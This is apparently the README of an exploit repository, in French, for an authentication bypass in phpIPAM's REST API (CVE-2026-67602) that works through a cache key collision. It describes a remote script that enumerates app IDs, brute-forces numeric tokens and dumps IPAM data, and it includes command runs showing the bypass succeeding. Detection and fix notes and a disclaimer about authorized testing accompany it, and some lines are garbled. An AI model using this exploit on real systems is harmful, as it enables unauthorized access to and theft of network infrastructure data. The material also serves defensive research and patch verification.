
Exploit et PoC pour CVE-2026-67602, un contournement d'authentification dans l'API REST de phpIPAM via une collision de clés de cache d'objets, incluant un PoC au niveau logique et un script d'exploitation à distance.
Contournement de l'authentification non authentifié dans l'API REST phpIPAM, causé par une
collision de clés dans le cache d'objets : la ligne de base de données mise en cache lors de la résolution
de l'app_id d'une application API satisfait la vérification ultérieure de l'app_code (jeton) chaque fois que
le jeton fourni est égal à l'id numérique de la ligne. Le véritable secret de l'application n'est jamais comparé.
AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N)app_security = ssl_coded29728f)| Fichier | Objectif |
|---|---|
poc_cache_collision.php | Preuve de concept au niveau logique. Exécute les implémentations verbatim vulnérables (v1.8.1) et corrigées (1.8.2) de fetch_object/cache_check/cache_write contre une base de données simulée et rejoue la séquence exacte de récupération d'une requête HTTP. Aucune installation phpIPAM requise. |
exploit.py | Exploit à distance contre une instance phpIPAM < 1.8.2 en direct : énumère les app_id valides (400 vs 401), force brutalement le jeton numérique (généralement id 1-3), et optionnellement extrait les sections/sous-réseaux/VLAN/périphériques. |
docker-compose.yml | Laboratoire vulnérable : phpIPAM v1.8.1 + MariaDB, HTTP simple avec IPAM_TRUST_X_FORWARDED=true afin que les applications ssl_code puissent être testées via l'en-tête X-Forwarded-Proto. |
$ php poc_cache_collision.php vulnerable
[1] fetch_object('api','app_id','client') -> ligne id=2, app_security=ssl_code
[2] fetch_object('api','app_code','2') (en-tête phpipam-token) -> OBJET (succès du cache !)
[3] $app_id == $app_temp->app_id -> AUTHENTIFIÉ
$ php poc_cache_collision.php fixed
[2] fetch_object('api','app_code','2') (en-tête phpipam-token) -> false
[3] Réponse : 401 Non autorisé — jeton rejeté
$ docker compose up -d
http://localhost:8080/, poursuivez vers l'installateur
(http://localhost:8080/install/), choisissez Installation automatique de la base de
données, utilisateur MySQL root / mot de passe phpipamAdminRoot.admin / admin), définissez un nouveau mot de passe administrateur lorsque vous y êtes invité.app_id) : clientExécutez l'exploit (l'indicateur --xfp satisfait la vérification HTTPS via
X-Forwarded-Proto, que le laboratoire approuve) :
$ python3 exploit.py http://localhost:8080 --app-id client --xfp --dump
[*] Cible : http://localhost:8080
[*] Force brutale des jetons numériques (ids de lignes) 1..64 pour app_id='client'...
[+] CONTOURNEMENT DE L'AUTHENTIFICATION — phpipam-token : 1 est accepté
[+] Le véritable app_code de 32 caractères de l'application n'a jamais été nécessaire.
[+] GET /api/client/sections/ -> HTTP 200, 1 section(s) lisible(s)
[*] Extraction des données IPAM...
d29728f).ssl_code (les autres
modes de sécurité ne sont pas affectés par cette collision de cache)./api/<app_id>/...
portant un en-tête phpipam-token purement numérique — les jetons légitimes sont des
chaînes aléatoires de 32 caractères, donc les jetons numériques sont un IOC à haute fiabilité.Ce dépôt est destiné uniquement à la recherche défensive et aux tests d'intrusion autorisés. Exécutez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite de tester.